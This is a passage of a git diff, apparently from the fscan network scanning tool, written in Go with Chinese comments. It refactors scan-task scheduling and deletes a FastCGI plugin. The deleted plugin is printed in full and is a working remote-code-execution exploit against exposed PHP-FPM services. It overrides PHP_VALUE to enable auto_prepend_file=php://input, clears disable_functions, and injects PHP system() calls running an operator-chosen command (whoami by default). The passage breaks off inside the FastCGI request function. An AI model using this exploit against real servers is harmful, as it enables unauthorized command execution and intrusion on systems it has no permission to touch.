Common.LogInfo("使用所有可用插件(已排除本地敏感插件)")
|
||||||
|
} else {
|
||||||
|
plugins := parsePluginList(Common.ScanMode)
|
||||||
|
if len(plugins) > 1 {
|
||||||
|
Common.LogInfo(fmt.Sprintf("使用插件: %s", strings.Join(plugins, ", ")))
|
||||||
|
} else {
|
||||||
|
Common.LogInfo(fmt.Sprintf("使用插件: %s", Common.ScanMode))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// -----------------------------------------------------------------------------
|
||||||
|
// 目标准备
|
||||||
|
// -----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
// 准备URL目标列表
|
||||||
|
func prepareURLTargets(baseInfo Common.HostInfo) []Common.HostInfo {
|
||||||
|
var targetInfos []Common.HostInfo
|
||||||
|
|
||||||
|
for _, url := range Common.URLs {
|
||||||
|
urlInfo := baseInfo
|
||||||
|
// 确保URL包含协议头
|
||||||
|
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
|
||||||
|
url = "http://" + url
|
||||||
|
}
|
||||||
|
urlInfo.Url = url
|
||||||
|
targetInfos = append(targetInfos, urlInfo)
|
||||||
|
}
|
||||||
|
|
||||||
|
return targetInfos
|
||||||
|
}
|
||||||
|
|
||||||
|
// 将端口列表转换为目标信息
|
||||||
|
func convertToTargetInfos(ports []string, baseInfo Common.HostInfo) []Common.HostInfo {
|
||||||
|
var infos []Common.HostInfo
|
||||||
|
|
||||||
|
for _, targetIP := range ports {
|
||||||
|
hostParts := strings.Split(targetIP, ":")
|
||||||
|
if len(hostParts) != 2 {
|
||||||
|
Common.LogError(fmt.Sprintf("无效的目标地址格式: %s", targetIP))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
info := baseInfo
|
||||||
|
info.Host = hostParts[0]
|
||||||
|
info.Ports = hostParts[1]
|
||||||
|
infos = append(infos, info)
|
||||||
|
}
|
||||||
|
|
||||||
|
return infos
|
||||||
|
}
|
||||||
|
|
||||||
|
// 添加URL扫描目标
|
||||||
func appendURLTargets(targetInfos []Common.HostInfo, baseInfo Common.HostInfo) []Common.HostInfo {
|
func appendURLTargets(targetInfos []Common.HostInfo, baseInfo Common.HostInfo) []Common.HostInfo {
|
||||||
for _, url := range Common.URLs {
|
for _, url := range Common.URLs {
|
||||||
urlInfo := baseInfo
|
urlInfo := baseInfo
|
||||||
@ -248,138 +451,105 @@ func appendURLTargets(targetInfos []Common.HostInfo, baseInfo Common.HostInfo) [
|
|||||||
return targetInfos
|
return targetInfos
|
||||||
}
|
}
|
||||||
|
|
||||||
// prepareTargetInfos 准备扫描目标信息
|
// -----------------------------------------------------------------------------
|
||||||
// alivePorts: 存活端口列表
|
// 任务执行
|
||||||
// baseInfo: 基础主机信息
|
// -----------------------------------------------------------------------------
|
||||||
// 返回: 目标信息列表
|
|
||||||
func prepareTargetInfos(alivePorts []string, baseInfo Common.HostInfo) []Common.HostInfo {
|
// 执行扫描任务集合
|
||||||
var infos []Common.HostInfo
|
func executeScanTasks(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||||
for _, targetIP := range alivePorts {
|
// 获取要执行的插件
|
||||||
hostParts := strings.Split(targetIP, ":")
|
pluginsToRun, isCustomMode := getPluginsToRun()
|
||||||
if len(hostParts) != 2 {
|
|
||||||
Common.LogError(fmt.Sprintf("无效的目标地址格式: %s", targetIP))
|
// 准备扫描任务
|
||||||
continue
|
tasks := prepareScanTasks(targets, pluginsToRun, isCustomMode)
|
||||||
|
|
||||||
|
// 输出扫描计划
|
||||||
|
if Common.ShowScanPlan && len(tasks) > 0 {
|
||||||
|
logScanPlan(tasks)
|
||||||
}
|
}
|
||||||
info := baseInfo
|
|
||||||
info.Host = hostParts[0]
|
// 初始化进度条
|
||||||
info.Ports = hostParts[1]
|
if len(tasks) > 0 && Common.ShowProgress {
|
||||||
infos = append(infos, info)
|
initProgressBar(len(tasks))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 执行所有任务
|
||||||
|
for _, task := range tasks {
|
||||||
|
scheduleScanTask(task.pluginName, task.target, ch, wg)
|
||||||
}
|
}
|
||||||
return infos
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// ScanTask 扫描任务结构体
|
// logScanPlan 输出扫描计划信息
|
||||||
type ScanTask struct {
|
func logScanPlan(tasks []ScanTask) {
|
||||||
pluginName string // 插件名称
|
// 统计每个插件的目标数量
|
||||||
target Common.HostInfo // 目标信息
|
pluginCounts := make(map[string]int)
|
||||||
|
for _, task := range tasks {
|
||||||
|
pluginCounts[task.pluginName]++
|
||||||
|
}
|
||||||
|
|
||||||
|
// 构建扫描计划信息
|
||||||
|
var planInfo strings.Builder
|
||||||
|
planInfo.WriteString("扫描计划:\n")
|
||||||
|
|
||||||
|
for plugin, count := range pluginCounts {
|
||||||
|
planInfo.WriteString(fmt.Sprintf(" - %s: %d 个目标\n", plugin, count))
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogInfo(planInfo.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
// executeScans 执行扫描任务
|
// 准备扫描任务列表
|
||||||
// targets: 目标列表
|
func prepareScanTasks(targets []Common.HostInfo, pluginsToRun []string, isCustomMode bool) []ScanTask {
|
||||||
// ch: 并发控制通道
|
|
||||||
// wg: 等待组
|
|
||||||
func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
|
||||||
mode := Common.GetScanMode()
|
|
||||||
|
|
||||||
// 获取要执行的插件列表
|
|
||||||
pluginsToRun, isSinglePlugin := getPluginsToRun(mode)
|
|
||||||
|
|
||||||
var tasks []ScanTask
|
var tasks []ScanTask
|
||||||
actualTasks := 0
|
|
||||||
loadedPlugins := make([]string, 0)
|
|
||||||
|
|
||||||
// 收集扫描任务
|
|
||||||
for _, target := range targets {
|
for _, target := range targets {
|
||||||
targetPort, _ := strconv.Atoi(target.Ports)
|
targetPort, _ := strconv.Atoi(target.Ports)
|
||||||
|
|
||||||
for _, pluginName := range pluginsToRun {
|
for _, pluginName := range pluginsToRun {
|
||||||
plugin, exists := Common.PluginManager[pluginName]
|
plugin, exists := Common.PluginManager[pluginName]
|
||||||
if !exists {
|
if !exists {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
taskAdded, newTasks := collectScanTasks(plugin, target, targetPort, pluginName, isSinglePlugin)
|
|
||||||
if taskAdded {
|
|
||||||
actualTasks += len(newTasks)
|
|
||||||
loadedPlugins = append(loadedPlugins, pluginName)
|
|
||||||
tasks = append(tasks, newTasks...)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 处理插件列表
|
// 检查插件是否适用于当前目标
|
||||||
finalPlugins := getUniquePlugins(loadedPlugins)
|
if isPluginApplicable(plugin, targetPort, isCustomMode, pluginName) {
|
||||||
Common.LogInfo(fmt.Sprintf("加载的插件: %s", strings.Join(finalPlugins, ", ")))
|
|
||||||
|
|
||||||
// 初始化进度条
|
|
||||||
initializeProgressBar(actualTasks)
|
|
||||||
|
|
||||||
// 执行扫描任务
|
|
||||||
for _, task := range tasks {
|
|
||||||
AddScan(task.pluginName, task.target, ch, wg)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// getPluginsToRun 获取要执行的插件列表
|
|
||||||
// mode: 扫描模式
|
|
||||||
// 返回: 插件列表和是否为单插件模式
|
|
||||||
func getPluginsToRun(mode string) ([]string, bool) {
|
|
||||||
var pluginsToRun []string
|
|
||||||
isSinglePlugin := false
|
|
||||||
|
|
||||||
if plugins := Common.GetPluginsForMode(mode); plugins != nil {
|
|
||||||
pluginsToRun = plugins
|
|
||||||
} else {
|
|
||||||
pluginsToRun = []string{mode}
|
|
||||||
isSinglePlugin = true
|
|
||||||
}
|
|
||||||
|
|
||||||
return pluginsToRun, isSinglePlugin
|
|
||||||
}
|
|
||||||
|
|
||||||
// collectScanTasks 收集扫描任务
|
|
||||||
// plugin: 插件信息
|
|
||||||
// target: 目标信息
|
|
||||||
// targetPort: 目标端口
|
|
||||||
// pluginName: 插件名称
|
|
||||||
// isSinglePlugin: 是否为单插件模式
|
|
||||||
// 返回: 是否添加任务和任务列表
|
|
||||||
func collectScanTasks(plugin Common.ScanPlugin, target Common.HostInfo, targetPort int, pluginName string, isSinglePlugin bool) (bool, []ScanTask) {
|
|
||||||
var tasks []ScanTask
|
|
||||||
taskAdded := false
|
|
||||||
|
|
||||||
if WebScan || LocalScan || isSinglePlugin || len(plugin.Ports) == 0 || plugin.HasPort(targetPort) {
|
|
||||||
taskAdded = true
|
|
||||||
tasks = append(tasks, ScanTask{
|
tasks = append(tasks, ScanTask{
|
||||||
pluginName: pluginName,
|
pluginName: pluginName,
|
||||||
target: target,
|
target: target,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
}
|
||||||
return taskAdded, tasks
|
|
||||||
}
|
|
||||||
|
|
||||||
// getUniquePlugins 获取去重后的插件列表
|
|
||||||
// loadedPlugins: 已加载的插件列表
|
|
||||||
// 返回: 去重并排序后的插件列表
|
|
||||||
func getUniquePlugins(loadedPlugins []string) []string {
|
|
||||||
uniquePlugins := make(map[string]struct{})
|
|
||||||
for _, p := range loadedPlugins {
|
|
||||||
uniquePlugins[p] = struct{}{}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
finalPlugins := make([]string, 0, len(uniquePlugins))
|
return tasks
|
||||||
for p := range uniquePlugins {
|
|
||||||
finalPlugins = append(finalPlugins, p)
|
|
||||||
}
|
|
||||||
|
|
||||||
sort.Strings(finalPlugins)
|
|
||||||
return finalPlugins
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// initializeProgressBar 初始化进度条
|
// isPluginApplicable 判断插件是否适用于目标
|
||||||
// actualTasks: 实际任务数量
|
func isPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool, pluginName string) bool {
|
||||||
func initializeProgressBar(actualTasks int) {
|
// 本地模式下,只执行本地插件
|
||||||
if Common.ShowProgress {
|
if LocalScan {
|
||||||
Common.ProgressBar = progressbar.NewOptions(actualTasks,
|
return isLocalPlugin(pluginName)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 非本地模式下,本地插件特殊处理
|
||||||
|
if isLocalPlugin(pluginName) {
|
||||||
|
// 只有在自定义模式下明确指定时才执行本地插件
|
||||||
|
return isCustomMode
|
||||||
|
}
|
||||||
|
|
||||||
|
// 特殊扫描模式下的处理
|
||||||
|
if WebScan || isCustomMode {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 端口匹配检查
|
||||||
|
// 无端口限制的插件或端口匹配的插件
|
||||||
|
return len(plugin.Ports) == 0 || plugin.HasPort(targetPort)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 初始化进度条
|
||||||
|
func initProgressBar(totalTasks int) {
|
||||||
|
Common.ProgressBar = progressbar.NewOptions(totalTasks,
|
||||||
progressbar.OptionEnableColorCodes(true),
|
progressbar.OptionEnableColorCodes(true),
|
||||||
progressbar.OptionShowCount(),
|
progressbar.OptionShowCount(),
|
||||||
progressbar.OptionSetWidth(15),
|
progressbar.OptionSetWidth(15),
|
||||||
@ -395,73 +565,62 @@ func initializeProgressBar(actualTasks int) {
|
|||||||
progressbar.OptionUseANSICodes(true),
|
progressbar.OptionUseANSICodes(true),
|
||||||
progressbar.OptionSetRenderBlankState(true),
|
progressbar.OptionSetRenderBlankState(true),
|
||||||
)
|
)
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// finishScan 完成扫描任务
|
// 调度单个扫描任务
|
||||||
// wg: 等待组
|
func scheduleScanTask(pluginName string, target Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||||
func finishScan(wg *sync.WaitGroup) {
|
|
||||||
wg.Wait()
|
|
||||||
if Common.ProgressBar != nil {
|
|
||||||
Common.ProgressBar.Finish()
|
|
||||||
fmt.Println()
|
|
||||||
}
|
|
||||||
Common.LogSuccess(fmt.Sprintf("扫描已完成: %v/%v", Common.End, Common.Num))
|
|
||||||
}
|
|
||||||
|
|
||||||
// Mutex 用于保护共享资源的并发访问
|
|
||||||
var Mutex = &sync.Mutex{}
|
|
||||||
|
|
||||||
// AddScan 添加扫描任务并启动扫描
|
|
||||||
// plugin: 插件名称
|
|
||||||
// info: 目标信息
|
|
||||||
// ch: 并发控制通道
|
|
||||||
// wg: 等待组
|
|
||||||
func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
|
||||||
*ch <- struct{}{}
|
|
||||||
wg.Add(1)
|
wg.Add(1)
|
||||||
|
*ch <- struct{}{} // 获取并发槽位
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
|
startTime := time.Now()
|
||||||
|
|
||||||
defer func() {
|
defer func() {
|
||||||
|
// 捕获并记录任何可能的panic
|
||||||
|
if r := recover(); r != nil {
|
||||||
|
Common.LogError(fmt.Sprintf("[PANIC] 插件 %s 扫描 %s:%s 时崩溃: %v",
|
||||||
|
pluginName, target.Host, target.Ports, r))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 完成任务,释放资源
|
||||||
|
duration := time.Since(startTime)
|
||||||
|
if Common.ShowScanPlan {
|
||||||
|
Common.LogInfo(fmt.Sprintf("完成 %s 扫描 %s:%s (耗时: %.2fs)",
|
||||||
|
pluginName, target.Host, target.Ports, duration.Seconds()))
|
||||||
|
}
|
||||||
|
|
||||||
wg.Done()
|
wg.Done()
|
||||||
<-*ch
|
<-*ch // 释放并发槽位
|
||||||
}()
|
}()
|
||||||
|
|
||||||
atomic.AddInt64(&Common.Num, 1)
|
atomic.AddInt64(&Common.Num, 1)
|
||||||
ScanFunc(&plugin, &info)
|
executeSingleScan(pluginName, target)
|
||||||
updateScanProgress(&info)
|
updateProgress()
|
||||||
}()
|
}()
|
||||||
}
|
}
|
||||||
|
|
||||||
// ScanFunc 执行扫描插件
|
// 执行单个扫描
|
||||||
// name: 插件名称
|
func executeSingleScan(pluginName string, info Common.HostInfo) {
|
||||||
// info: 目标信息
|
plugin, exists := Common.PluginManager[pluginName]
|
||||||
func ScanFunc(name *string, info *Common.HostInfo) {
|
|
||||||
defer func() {
|
|
||||||
if err := recover(); err != nil {
|
|
||||||
Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err))
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
|
|
||||||
plugin, exists := Common.PluginManager[*name]
|
|
||||||
if !exists {
|
if !exists {
|
||||||
Common.LogInfo(fmt.Sprintf("扫描类型 %v 无对应插件,已跳过", *name))
|
Common.LogInfo(fmt.Sprintf("扫描类型 %v 无对应插件,已跳过", pluginName))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := plugin.ScanFunc(info); err != nil {
|
if err := plugin.ScanFunc(&info); err != nil {
|
||||||
Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err))
|
Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// updateScanProgress 更新扫描进度
|
// 更新扫描进度
|
||||||
// info: 目标信息
|
func updateProgress() {
|
||||||
func updateScanProgress(info *Common.HostInfo) {
|
|
||||||
Common.OutputMutex.Lock()
|
Common.OutputMutex.Lock()
|
||||||
|
defer Common.OutputMutex.Unlock()
|
||||||
|
|
||||||
atomic.AddInt64(&Common.End, 1)
|
atomic.AddInt64(&Common.End, 1)
|
||||||
|
|
||||||
if Common.ProgressBar != nil {
|
if Common.ProgressBar != nil {
|
||||||
fmt.Print("\033[2K\r")
|
fmt.Print("\033[2K\r")
|
||||||
Common.ProgressBar.Add(1)
|
Common.ProgressBar.Add(1)
|
||||||
}
|
}
|
||||||
Common.OutputMutex.Unlock()
|
|
||||||
}
|
}
|
||||||
|
@ -1,375 +0,0 @@
|
|||||||
package Plugins
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bufio"
|
|
||||||
"bytes"
|
|
||||||
"encoding/binary"
|
|
||||||
"errors"
|
|
||||||
"fmt"
|
|
||||||
"github.com/shadow1ng/fscan/Common"
|
|
||||||
"io"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
//links
|
|
||||||
//https://xz.aliyun.com/t/9544
|
|
||||||
//https://github.com/wofeiwo/webcgi-exploits
|
|
||||||
|
|
||||||
// FcgiScan 执行FastCGI服务器漏洞扫描
|
|
||||||
func FcgiScan(info *Common.HostInfo) error {
|
|
||||||
// 如果设置了暴力破解模式则跳过
|
|
||||||
if Common.DisableBrute {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// 设置目标URL路径
|
|
||||||
url := "/etc/issue"
|
|
||||||
if Common.RemotePath != "" {
|
|
||||||
url = Common.RemotePath
|
|
||||||
}
|
|
||||||
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
|
||||||
|
|
||||||
// 构造PHP命令注入代码
|
|
||||||
var reqParams string
|
|
||||||
var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记
|
|
||||||
|
|
||||||
switch {
|
|
||||||
case Common.Command == "read":
|
|
||||||
reqParams = "" // 读取模式
|
|
||||||
case Common.Command != "":
|
|
||||||
reqParams = fmt.Sprintf("<?php system('%s');die('%s');?>", Common.Command, cutLine) // 自定义命令
|
|
||||||
default:
|
|
||||||
reqParams = fmt.Sprintf("<?php system('whoami');die('%s');?>", cutLine) // 默认执行whoami
|
|
||||||
}
|
|
||||||
|
|
||||||
// 设置FastCGI环境变量
|
|
||||||
env := map[string]string{
|
|
||||||
"SCRIPT_FILENAME": url,
|
|
||||||
"DOCUMENT_ROOT": "/",
|
|
||||||
"SERVER_SOFTWARE": "go / fcgiclient ",
|
|
||||||
"REMOTE_ADDR": "127.0.0.1",
|
|
||||||
"SERVER_PROTOCOL": "HTTP/1.1",
|
|
||||||
}
|
|
||||||
|
|
||||||
// 根据请求类型设置对应的环境变量
|
|
||||||
if len(reqParams) != 0 {
|
|
||||||
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
|
|
||||||
env["REQUEST_METHOD"] = "POST"
|
|
||||||
env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input"
|
|
||||||
} else {
|
|
||||||
env["REQUEST_METHOD"] = "GET"
|
|
||||||
}
|
|
||||||
|
|
||||||
// 建立FastCGI连接
|
|
||||||
fcgi, err := New(addr, Common.Timeout)
|
|
||||||
defer func() {
|
|
||||||
if fcgi.rwc != nil {
|
|
||||||
fcgi.rwc.Close()
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
// 发送FastCGI请求
|
|
||||||
stdout, stderr, err := fcgi.Request(env, reqParams)
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
// 处理响应结果
|
|
||||||
output := string(stdout)
|
|
||||||
var result string
|
|
||||||
|
|
||||||
if strings.Contains(output, cutLine) {
|
|
||||||
// 命令执行成功,提取输出结果
|
|
||||||
output = strings.SplitN(output, cutLine, 2)[0]
|
|
||||||
if len(stderr) > 0 {
|
|
||||||
result = fmt.Sprintf("FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php",
|
|
||||||
info.Host, info.Ports, output, string(stderr))
|
|
||||||
} else {
|
|
||||||
result = fmt.Sprintf("FastCGI漏洞确认 %v:%v\n命令输出:\n%v",
|
|
||||||
info.Host, info.Ports, output)
|
|
||||||
}
|
|
||||||
Common.LogSuccess(result)
|
|
||||||
} else if strings.Contains(output, "File not found") ||
|
|
||||||
strings.Contains(output, "Content-type") ||
|
|
||||||
strings.Contains(output, "Status") {
|
|
||||||
// 目标存在FastCGI服务但可能路径错误
|
|
||||||
if len(stderr) > 0 {
|
|
||||||
result = fmt.Sprintf("FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php",
|
|
||||||
info.Host, info.Ports, output, string(stderr))
|
|
||||||
} else {
|
|
||||||
result = fmt.Sprintf("FastCGI服务确认 %v:%v\n响应:\n%v",
|
|
||||||
info.Host, info.Ports, output)
|
|
||||||
}
|
|
||||||
Common.LogSuccess(result)
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// for padding so we don't have to allocate all the time
|
|
||||||
// not synchronized because we don't care what the contents are
|
|
||||||
var pad [maxPad]byte
|
|
||||||
|
|
||||||
const (
|
|
||||||
FCGI_BEGIN_REQUEST uint8 = iota + 1
|
|
||||||
FCGI_ABORT_REQUEST
|
|
||||||
FCGI_END_REQUEST
|
|
||||||
FCGI_PARAMS
|
|
||||||
FCGI_STDIN
|
|
||||||
FCGI_STDOUT
|
|
||||||
FCGI_STDERR
|
|
||||||
)
|
|
||||||
|
|
||||||
const (
|
|
||||||
FCGI_RESPONDER uint8 = iota + 1
|
|
||||||
)
|
|
||||||
|
|
||||||
const (
|
|
||||||
maxWrite = 6553500 // maximum record body
|
|
||||||
maxPad = 255
|
|
||||||
)
|
|
||||||
|
|
||||||
type header struct {
|
|
||||||
Version uint8
|
|
||||||
Type uint8
|
|
||||||
Id uint16
|
|
||||||
ContentLength uint16
|
|
||||||
PaddingLength uint8
|
|
||||||
Reserved uint8
|
|
||||||
}
|
|
||||||
|
|
||||||
func (h *header) init(recType uint8, reqId uint16, contentLength int) {
|
|
||||||
h.Version = 1
|
|
||||||
h.Type = recType
|
|
||||||
h.Id = reqId
|
|
||||||
h.ContentLength = uint16(contentLength)
|
|
||||||
h.PaddingLength = uint8(-contentLength & 7)
|
|
||||||
}
|
|
||||||
|
|
||||||
type record struct {
|
|
||||||
h header
|
|
||||||
buf [maxWrite + maxPad]byte
|
|
||||||
}
|
|
||||||
|
|
||||||
func (rec *record) read(r io.Reader) (err error) {
|
|
||||||
if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if rec.h.Version != 1 {
|
|
||||||
return errors.New("fcgi: invalid header version")
|
|
||||||
}
|
|
||||||
n := int(rec.h.ContentLength) + int(rec.h.PaddingLength)
|
|
||||||
if _, err = io.ReadFull(r, rec.buf[:n]); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (r *record) content() []byte {
|
|
||||||
return r.buf[:r.h.ContentLength]
|
|
||||||
}
|
|
||||||
|
|
||||||
type FCGIClient struct {
|
|
||||||
mutex sync.Mutex
|
|
||||||
rwc io.ReadWriteCloser
|
|
||||||
h header
|
|
||||||
buf bytes.Buffer
|
|
||||||
keepAlive bool
|
|
||||||
}
|
|
||||||
|
|
||||||
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
|
|
||||||
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
|
|
||||||
fcgi = &FCGIClient{
|
|
||||||
rwc: conn,
|
|
||||||
keepAlive: false,
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
func (c *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
|
|
||||||
c.mutex.Lock()
|
|
||||||
defer c.mutex.Unlock()
|
|
||||||
c.buf.Reset()
|
|
||||||
c.h.init(recType, reqId, len(content))
|
|
||||||
if err := binary.Write(&c.buf, binary.BigEndian, c.h); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if _, err := c.buf.Write(content); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if _, err := c.buf.Write(pad[:c.h.PaddingLength]); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
_, err = c.rwc.Write(c.buf.Bytes())
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
|
|
||||||
b := [8]byte{byte(role >> 8), byte(role), flags}
|
|
||||||
return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
|
|
||||||
}
|
|
||||||
|
|
||||||
func (c *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
|
|
||||||
b := make([]byte, 8)
|
|
||||||
binary.BigEndian.PutUint32(b, uint32(appStatus))
|
|
||||||
b[4] = protocolStatus
|
|
||||||
return c.writeRecord(FCGI_END_REQUEST, reqId, b)
|
|
||||||
}
|
|
||||||
|
|
||||||
func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
|
|
||||||
w := newWriter(c, recType, reqId)
|
|
||||||
b := make([]byte, 8)
|
|
||||||
for k, v := range pairs {
|
|
||||||
n := encodeSize(b, uint32(len(k)))
|
|
||||||
n += encodeSize(b[n:], uint32(len(v)))
|
|
||||||
if _, err := w.Write(b[:n]); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if _, err := w.WriteString(k); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if _, err := w.WriteString(v); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
}
|
|
||||||
w.Close()
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func readSize(s []byte) (uint32, int) {
|
|
||||||
if len(s) == 0 {
|
|
||||||
return 0, 0
|
|
||||||
}
|
|
||||||
size, n := uint32(s[0]), 1
|
|
||||||
if size&(1<<7) != 0 {
|
|
||||||
if len(s) < 4 {
|
|
||||||
return 0, 0
|
|
||||||
}
|
|
||||||
n = 4
|
|
||||||
size = binary.BigEndian.Uint32(s)
|
|
||||||
size &^= 1 << 31
|
|
||||||
}
|
|
||||||
return size, n
|
|
||||||
}
|
|
||||||
|
|
||||||
func readString(s []byte, size uint32) string {
|
|
||||||
if size > uint32(len(s)) {
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
return string(s[:size])
|
|
||||||
}
|
|
||||||
|
|
||||||
func encodeSize(b []byte, size uint32) int {
|
|
||||||
if size > 127 {
|
|
||||||
size |= 1 << 31
|
|
||||||
binary.BigEndian.PutUint32(b, size)
|
|
||||||
return 4
|
|
||||||
}
|
|
||||||
b[0] = byte(size)
|
|
||||||
return 1
|
|
||||||
}
|
|
||||||
|
|
||||||
// bufWriter encapsulates bufio.Writer but also closes the underlying stream when
|
|
||||||
// Closed.
|
|
||||||
type bufWriter struct {
|
|
||||||
closer io.Closer
|
|
||||||
*bufio.Writer
|
|
||||||
}
|
|
||||||
|
|
||||||
func (w *bufWriter) Close() error {
|
|
||||||
if err := w.Writer.Flush(); err != nil {
|
|
||||||
w.closer.Close()
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
return w.closer.Close()
|
|
||||||
}
|
|
||||||
|
|
||||||
func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter {
|
|
||||||
s := &streamWriter{c: c, recType: recType, reqId: reqId}
|
|
||||||
w := bufio.NewWriterSize(s, maxWrite)
|
|
||||||
return &bufWriter{s, w}
|
|
||||||
}
|
|
||||||
|
|
||||||
// streamWriter abstracts out the separation of a stream into discrete records.
|
|
||||||
// It only writes maxWrite bytes at a time.
|
|
||||||
type streamWriter struct {
|
|
||||||
c *FCGIClient
|
|
||||||
recType uint8
|
|
||||||
reqId uint16
|
|
||||||
}
|
|
||||||
|
|
||||||
func (w *streamWriter) Write(p []byte) (int, error) {
|
|
||||||
nn := 0
|
|
||||||
for len(p) > 0 {
|
|
||||||
n := len(p)
|
|
||||||
if n > maxWrite {
|
|
||||||
n = maxWrite
|
|
||||||
}
|
|
||||||
if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil {
|
|
||||||
return nn, err
|
|
||||||
}
|
|
||||||
nn += n
|
|
||||||
p = p[n:]
|
|
||||||
}
|
|
||||||
return nn, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (w *streamWriter) Close() error {
|
|
||||||
// send empty record to close the stream
|
|
||||||
return w.c.writeRecord(w.recType, w.reqId, nil)
|
|
||||||
}
|
|
||||||
|
|
||||||
func (c *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
|
|
||||||
|
|
||||||
var reqId uint16 = 1
|
|
||||||
defer c.rwc.Close()
|
|
||||||
|
|
||||||
err = c.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
err = c.writePairs(FCGI_PARAMS, reqId, env)
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
if len(reqStr) > 0 {
|
|
||||||
err = c.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
|
|
||||||
if err != nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
rec := &record{}
|
|
||||||
var err1 error
|
|
||||||
|
|
||||||
// recive untill EOF or FCGI_END_REQUEST
|
|
||||||
for {
|
|
||||||
err1 = rec.read(c.rwc)
|
|
||||||
if err1 != nil {
|
|
||||||
if err1 != io.EOF {
|
|
||||||
err = err1
|
|
||||||
}
|
|
||||||
break
|
|
||||||
}
|
|
||||||
switch {
|
|
||||||
